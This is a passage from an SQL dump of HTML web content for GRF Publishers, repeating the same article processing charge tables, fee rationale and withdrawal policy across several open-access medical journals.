articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Biomarker Research and Studies</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:52:00','2019-01-08 23:19:05',1),(17,28,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Diabetes Management and Metabolism</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:53:38','2019-01-08 23:16:14',1),(18,29,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Gastroenterology and Digestive Disorders</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:55:31','2019-01-08 23:13:57',1),(19,30,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Obstetrics and Gynecological Problems</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:56:33','2019-01-08 23:10:50',1),(20,31,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Sports Science and Physical Therapy</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:57:43','2019-01-08 23:07:11',1),(21,32,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Urology and Renal Problems</strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:58:36','2019-01-08 23:03:16',1),(22,33,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<h5 style=\"text-align:center\"><strong><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Open Access Journal of Endocrinology Disorders</span></span></strong></h5>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><strong>Article Type</strong></td>\r\n			<td style=\"text-align:center\"><strong>Publication Fee (USD)</strong></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><strong>Research/Review/Video Article</strong></td>\r\n			<td style=\"text-align:center\"><strong>1519</strong></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><strong>Case Report/Mini-Review</strong></td>\r\n			<td style=\"text-align:center\"><strong>1060</strong></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></td>\r\n			<td style=\"text-align:center\"><strong>750</strong></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><strong>Image Article/Editorial</strong></td>\r\n			<td style=\"text-align:center\"><strong>550</strong></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for 